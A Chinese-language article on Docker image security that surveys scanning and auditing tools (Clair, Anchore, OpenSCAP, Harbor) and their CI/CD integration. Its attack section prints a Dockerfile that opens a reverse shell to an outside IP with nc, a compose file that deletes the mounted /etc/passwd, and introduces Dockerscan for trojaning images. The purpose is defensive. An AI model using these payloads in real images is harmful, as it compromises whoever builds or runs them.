docker安全

做者介紹
林偉壕，SecDevOpsor，前後在中國電信和網易遊戲從事數據網絡、網絡安全和遊戲運維工做。對Linux運維、虛擬化和網絡安全防禦等研究頗多，目前專一於網絡安全自動化檢測、防護系統構建。

在以前的文章《從自身漏洞與架構缺陷，談Docker安全建設》中，咱們介紹了Docker存在的安全問題、整套Docker應用架構的安全基線以及安全規則，重頭戲是Docker安全規則的各類思路和方案。

本文做爲「續集」，考慮到鏡像安全問題的廣泛性和重要性，將重點圍繞Docker鏡像安全掃描與審計的具體實現展開討論，包括技術選型、功能使用以及如何與企業Docker容器編排系統、倉庫集成等具體問題，最後還提供了一個現成的開源集成方案。

1、概述

根據綠盟2018年3月的研究顯示，目前Docker Hub上的鏡像76%都存在漏洞，其研究人員拉取了Docker Hub上公開熱門鏡像中的前十頁鏡像，對其使用Docker鏡像安全掃描工具Clair進行了CVE掃描統計。結果顯示在一百多個鏡像中，沒有漏洞的只佔到24%，包含高危漏洞的佔到67%。不少咱們常用的鏡像都包含在其中，如：httpd、Nginx、MySQL等等。

有句行話說的好：未知攻，焉知防？下面先介紹Docker鏡像***的具體實現方式，而後再提出已有的安全防禦方案。

2、Docker鏡像***

針對Docker容器的，有利用Docker Daemon API的，也有K8S、Mesos等容器管理平臺的，這方面的***利用門檻較低、獲取成果又很是豐富，反彈Shell、getRoot均不在話下。

不過，今天討論的是針對Docker鏡像的，常見的方式主要有Dockerfiles、Docker compose兩種，然後面講到的Docker鏡像自動化***則主要利用Dockerscan這款工具。

一、Dockerfiles***

道理很簡單，在Dockerfiles中寫入惡意命令，如反彈Shell或者添加惡意用戶等，或者引入存在漏洞的應用，如使用存在遠程命令執行漏洞的Strusts2。下面是一個現成的Dockerfiles。

FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc 192.168.160.1 12345 1>/tmp/back

一旦客戶端Build完鏡像，啓動容器，就會向控制端反彈Shell：

nc -lv 192.168.160.1 12345

sh# id
root

二、Docker compose***

相似的，編寫好存在惡意命令或者漏洞組件的Docker compose文件，一旦客戶端Build完鏡像，啓動容器，就會執行***命令或暴露漏洞組件。

test:

image: ubuntu:14.04
volumes:

• /etc:/test
  command: rm /test/passwd

三、Docker鏡像自動化***

Docker鏡像自動化工具Dockerscan可掃描網段或者目標識別是否爲Docker Registry，也支持對Docker Registry操做鏡像，更支持修改鏡像，將植入正常鏡像中，當用戶運行該鏡像時，***者就會接收到反彈出的Shell，從而達到控制服務器的目的。

pip3 install dockerscan

dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
-v Verbose output
-d enable debug
-q, --quiet Minimal output
--version Show the version and exit.
-h, --help Show this message and exit.

Commands:
image Docker images commands
registry Docker registry actions
scan Search for Open Docker Registries

3、Docker鏡像安全掃描

經過本地Docker images命令或者操做Docker Registry就能惡意修改鏡像，植入**。但這僅僅只是產生Docker鏡像安全掃描需求的緣由之一。

另外一種狀況，全球最大的Docker Hub上面有官方的，也有用戶上傳的任意鏡像，可是目前Docker Hub上面只有Office Repo的纔會自動調用Docker Security Scan，其餘的即使是惡意image也不會有報警或者攔截的，我的鏡像則須要付費掃描。

所以，當咱們使用外部Docker Hub的鏡像時一樣須要進行安全掃描。若是沒有鏡像安全工具，非Office的Repo Docker Pull時必定要仔細閱讀Dockerfile或者下載Dockerfile本地Build。下面是Docker官方鏡像安全掃描的流程圖：

不過還好，目前CoreOS官方已經推出了Clair鏡像安全掃描工具，該工具也被多款Docker Registry集成，好比VMware中國開源的Harbor（CNCF成員項目）、Quary以及Dockyard等。此外，還有一個Docker鏡像安全掃描工具新星：Anchore，不只支持對鏡像的靜態掃描，還支持對容器的動態掃描。

一、Clair

Clair首先對鏡像進行特徵的提取，而後再將這些特徵匹配CVE漏洞庫，若發現漏洞則進行提示，其功能側重於掃描容器中的OS及APP的CVE漏洞。該工具能夠交叉檢查Docker鏡像的操做系統以及上面安裝的任何包是否與任何已知不安全的包版本相匹配，支持跟K8S、Registry結合在一塊兒，在鏡像構建過程進行漏洞掃描，支持OS普遍，提供API，能提供構建阻斷和報警。

在開始分析Clair以前，咱們須要明白幾點：

• Clair是以靜態分析的方式對鏡像進行分析的，有點相似於殺毒軟件用特徵碼來掃描病毒。
• Clair鏡像分析是按鏡像Layer層級來進行的，若是某一層的軟件有漏洞，在上層被刪除了，該漏洞仍是存在的。
• Clair的漏洞掃描是經過軟件版本比對來完成的，若是某個應用，好比Nginx ，它在鏡像中的版本爲1.0.0，而該版本在數據庫中存在1.0.0對應的漏洞數據，則表示該鏡像存在對應的漏洞。

架構

Clair總體架構圖以下所示：

總體處理流程以下：

• Clair按期從配置的源獲取漏洞元數據而後存進數據庫。
• 客戶端使用Clair API處理鏡像，獲取鏡像的特徵並存進數據庫。
• 客戶端使用Clair API從數據庫查詢特定鏡像的漏洞狀況，爲每一個請求關聯漏洞和特徵，避免須要從新掃描鏡像。
• 當更新漏洞元數據時，將會有系統通知產生。另外，還有WebHook用於配置將受影響的鏡像記錄起來或者攔截其部署。

此外，特有術語、驅動和數據源、通知方式的使用等能夠參考官方文檔。
見連接：https://github.com/coreos/clair

客戶端

上面介紹的只是Clair的服務端，投入應用還需額外的客戶端。目前從官方列出的衍生開發工具裏，已經有很是多的選擇。
衍生開發工具參考連接：
https://github.com/coreos/clair/blob/master/Documentation/integrations.md

• 官方客戶端Clairctl測試效果以下：
官方客戶端Clairctl參考連接：
https://github.com/jgsqware/clairctl

clairctl analyze -l cve-2017-11610_web

Image: /cve-2017-11610_web:latest
Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0 Defcon1: 0

• Clair API3.0寫的不怎麼清楚，目前還能在CoreOS官網上查到APIv1版本的文檔，可是對於使用新版已經沒意義了，由於改變太大了。
• Klar，只支持跟Registry集成。
• Yair，只支持跟Registry集成，Yair是用Python寫的，能夠本身修改。
• analyze-local-images：命令行，可是被放棄了，只支持Clair v1/v2。

Clair API3.0參考連接：
https://app.swaggerhub.com/apis/coreos/clair/3.0
《APIv1版本的文檔》參考連接：
https://coreos.com/clair/docs/latest/api_v1.html
Klar參考連接：
https://github.com/optiopay/klar
Yair參考連接：
https://github.com/yfoelling/yair
《analyze-local-images：命令行，可是被放棄了》參考連接：
https://github.com/coreos/analyze-local-images

使用建議

• Master不太穩定，不適合生產環境，建議用Release版本。
目前最新版本：
https://github.com/coreos/clair/tree/release-2.0
• 因爲Clair會根據CVE庫掃描Docker鏡像使用的內核，可是實際上容器使用的是宿主的內核，這樣可能產生大量無用漏洞或者誤報；不過根據Clair開發組的意思，他們把決定權交給用戶，默認不提供白名單機制，也不對此作區分。
• 第一次啓動要下載數據到數據庫，下載時間根據網絡好壞肯定。能夠用https://github.com/arminc/clair-local-scan替換Clair官方DB鏡像。
• 檢測到不少內核漏洞，但實際上能夠不處理。可是Clair決定不過濾任何東西，而是交給用戶決定，這樣一來，用戶二次開發，增長黑白名單機制在所不免。

二、Anchore

Clair能掃描出一個鏡像中的全部CVE漏洞，但如今有一種狀況，使用最新版無漏洞的OS鏡像，而後在其之上安裝後門，或執行惡意命令，這樣Clair就不能檢測其安全性了。

這時就要介紹一個分析工具Anchore了。

與Clair不一樣，Anchore側重於對鏡像的審計，其有強大的對鏡像的解析能力。Anchore是一個容器檢查和分析平臺，支持分析、檢查、安全掃描，併爲容器鏡像提供自定義策略評估，好比黑白名單以及自定義規則。

架構

整個處理流程以下：

• 獲取鏡像內容並將其解壓縮，但從不執行。
• 經過在鏡像內容上運行一組Anchore分析器來分析鏡像，以提取和分類儘量多的元數據。
• 將生成的分析保存在數據庫中以備未來使用和審覈。
• 根據分析結果評估策略，包括對鏡像中發現的組件漏洞匹配。
• 更新用於策略評估和漏洞匹配的最新外部數據，並針對上游找到的任何新數據自動更新鏡像分析結果。
• 通知用戶政策評估和漏洞匹配的更改。
• 每隔一段時間重複上述兩個步驟，以確保最新的外部數據和更新的鏡像評估。

客戶端

Anchore客戶端叫Anchore-cli，能夠管理和檢查鏡像、策略、訂閱通知和鏡像倉庫。工做原理、安裝和使用方式都很簡單。
Anchore-cli參考連接：
https://github.com/anchore/anchore-cli

• 部署 支持源碼安裝和各類主流操做系統源安裝

git clone https://github.com/anchore/anchore-cli

cd anchore-cli
pip install --user --upgrade .

• 配置和使用

配置Anchore Engine鏈接地址和認證方式；接着使用restful api給Anchore Engine增長鏡像、查看鏡像分析狀態、執行鏡像安全掃描、查看鏡像分層信息並訂閱CVE更新的通知。

使用建議

• Anchore這個已經被Anchore-Engine替代，目前再使用會出現各類奇怪的問題。
• Anchore分爲社區版和商業版，社區版只有CLI接口，商業版提供Web頁面以及更多的商業支持。

OpenSCAP

跟Clair相似，依賴CVE庫進行漏洞掃描。目前已有Docker容器方案，Open SCAP4 Docker Docker image：能根據OSCAP數據庫檢測image/ container。
Open SCAP4Docker Docker image參考連接：
https://github.com/dduportal-dockerfiles/oscap4docker

安裝

• 拉取鏡像

docker pull dduportal/oscap4docker:1.0.0

docker run dduportal/oscap4docker:1.0.

• Build鏡像

git clone https://github.com/dduportal-dockerfiles/oscap4docker.git

cd oscap4docker
cat DockerfileFROM dduportal/oscap4docker:1.0.0MAINTAINER <your name>ADD ./your-tests /app/oscap4docker-testsRUN yum install -y -q <your dependencies>CMD ["/app/oscap4docker-tests/"]docker build -t my-tests ./
...
docker run -t my-tests...

使用

docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS

Scan a docker image.
docker-oscap image-cve IMAGE-NAME [--results oval-results-file.xml [--report report.html]]
Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [--results oval-results-file.xml [--report report.html]]
Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS

4、與企業CI/CD系統聯動的Docker鏡像安全系統選型

一、Clair

集成到Rigistry和CI/CD

Clair能夠直接集成到容器倉庫中，以便倉庫負責表明用戶與Clair進行交互。這種類型的設置避免了手動掃描，並建立了一個合理的接收端以便Clair的漏洞通知到位。

倉庫還可用於受權，以免泄露用戶不該當訪問的鏡像漏洞信息。Clair能夠集成到CI/CD管道中，如此一來，當生成鏡像時，將鏡像推送到倉庫以後觸發Clair掃描該鏡像的請求。集成思路以下：

• 用戶推送鏡像到容器倉庫，倉庫根據設置的黑白名單選擇是否調用Clair進行掃描。
• 一旦觸發Clair掃描，則等待掃描結果返回，而後通知用戶。

部署方式

主要有Kubernetes和本地部署這兩種方式：

服務端

• K8S Cluster

git clone https://github.com/coreos/clair

cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml

• Local

$ mkdir $PWD/clair_config$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml$ docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6$ docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

客戶端

• 主分支版本

curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

• Docker-compose

$ git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl$ cd $GOPATH/src/github.com/jgsqware/clairctl$ docker-compose up -d postgres

二、Anchore

Anchore與Clair相比更優越的地方，不只在於功能上，還在生態上。

好比Anchor目前能夠經過Jenkins/Gitlab無縫地切入CI/CD工做流程，開發人員將代碼提交到源代碼管理系統，而後觸發Jenkins/Gitlab啓動建立容器鏡像的構建。經過構建失敗並返回適當的報告來讓開發人員「快速學習」、快速解決問題。

接下來介紹Anchore如何與Jenkins進行集成，Jenkins與Gitlab集成也有官方介紹。

與Jenkins集成

此外，Anchore支持插件模式和本地模式，可是本地模式已經被官方拋棄，因此目前只能選擇插件模式。

配置插件以與Anchore Engine服務API的模式能夠從工做節點訪問其服務API。Anchore插件能夠在Pipeline做業中使用，也能夠做爲構建步驟添加到Freestyle做業中，以自動執行分析，評估鏡像的自定義策略以及執行鏡像安全掃描。

整個處理流程以下：Jenkins做業將構建容器鏡像，並將鏡像推送到Anchore Engine服務中預配置的倉庫，構建步驟將經過「添加」鏡像（指示Anchore Engine從倉庫中提取鏡像）與Anchore Engine交互，而後對鏡像執行策略評估檢查。若是策略評估致使「中止」操做，則能夠選擇將構建步驟配置爲構建失敗。該插件會將生成的策略評估結果與做業一塊兒存儲，以供往後檢查/審覈該插件可用於Freestyle和Pipeline做業。

部署方式

主要有Jenkins插件和Kubernetes兩種部署方式：

Jenkins插件

假定如下先決條件已經知足：

1）Jenkins2.x已在虛擬機或物理服務器上安裝並運行；
2）已安裝並運行了Anchore-Engine，可訪問EngineAPI URL（後稱爲<anchore_url>）和憑據（後稱爲<anchore_user>和<anchore_pass>），具體請參閱用戶文檔：Anchore Engine概述和安裝。
參考連接：
https://anchore.freshdesk.com/support/home

Kubernetes調用Anchore Engine API

用戶提交部署時，由Kubernetes經過調用Policy Validator服務來向Anchore Engine API發起鏡像安全掃描，評估是否符合安全規則。不過，這樣就沒法在CI環節提早檢測發現漏洞，而把漏洞留到了CD階段，我的認爲不是很好的設計。

三、Harbor

相信看了上面Clair和Anchore的落地方案，讀者都會以爲有些複雜，落地成本較高。值得高興的是，VMware開源的Docker鏡像倉庫Harbor v1.2之後集成了Clair。

架構

集成Clair的功能依然是靠其官方鏡像和Postgres結合造成，而掃描以後的信息則經過Harbor自身的數據庫進行保存。

目前Harbor還不支持黑白名單機制。支持設置漏洞響應閾值，好比只有存在高危漏洞的鏡像纔會阻斷後續CI/CD或者用戶拉取。

Harbor除了集成了Clair的功能外，從v1.1起也增長了鏡像內容信任的能力，能夠幫助用戶實現容器鏡像的內容信任問題。經過內容信任（Content Trust）的機制來確保鏡像的來源可信。整個鏡像的安全掃描和審計邏輯以下圖所示：

• 當用戶提交鏡像Build任務後，Registry V2會調用Clair的API提交分層後的鏡像Layers，Clair掃描結束將結果發會給Harbor，Harbor再根據漏洞閾值決定是否容許用戶下載。若是鏡像的漏洞級別超過了這個閥值，鏡像將沒法下載。
• 當鏡像的用戶下載時，根據鏡像的名稱，能夠從Notary得到鏡像的摘要，而後使用Registry V2的API，作 Pull by content（Digest）的Registry調用，便可得到來自信任者的鏡像。若是鏡像沒有簽過名，獲取Digest會失敗，於是沒法下載鏡像。

下面是Harbor掃描結果展現：

上圖顯示了用戶能夠在Harbor上主動發起掃描，下圖顯示了鏡像安全掃描結果。

部署

因爲Harbor官方和社區提供了很是詳細的部署文檔，本文就不贅述了。

選型建議

經過上面的對比，讀者能夠根據本身的實際狀況進行選擇。若是方便遷移Docker鏡像倉庫的話，Harbor會是一個比較容易落地的選擇。若是在Jenkins方面使用的比較重的企業，建議也能夠選擇Anchore。

5、結尾

綜上，本文從Docker鏡像漏洞挖掘入手，介紹了常見的鏡像漏洞引入方式和檢測工具。而後，介紹了業界比較流行的Docker鏡像安全掃描工具的原理、架構、部署和落地方案，如若讀者對Docker鏡像安全掃描能有一個相對全面的瞭解，那便足矣。

參考

• Docker鏡像安全概述：
http://blog.nsfocus.net/docker-mirror-security/
• 安全防禦工具之：Anchore：
https://blog.csdn.net/liumiaocn/article/details/76732894?locationNum=10&fps=1
• Docker鏡像安全掃描：
http://www.javashuo.com/article/p-oosxswla-ev.html
• Clair源碼解析：
http://www.javashuo.com/article/p-hduktlkc-ng.html
• Clair二次開發指南：
http://www.freebuf.com/column/157784.html
• Docker鏡像掃描器的實現:clair：
https://www.tuicool.com/articles/ZF7n6vr
• Clairctl部署案例：
http://www.javashuo.com/article/p-oosxswla-ev.html
• Analyze-local-images安裝異常處理：
http://www.bubuko.com/infodetail-2600784.html
• Anchore github倉庫：
https://github.com/anchore/anchore
• Anchore jenkins接入方式：
https://wiki.jenkins.io/display/JENKINS/Anchore+Container+Image+Scanner+Plugin
• Docker基礎：私庫系列：再探Harbor：(5)集成clair：
https://blog.csdn.net/liumiaocn/article/details/81813707
• 做者博文：Harbor容器鏡像安全漏洞掃描詳述和視頻：
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/78180109
• 容器鏡像之明察秋毫：Harbor內容信任的原理及演示視頻：
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/80326458
• Harbor用戶文檔：
https://github.com/vmware/harbor/blob/master/docs/user_guide.md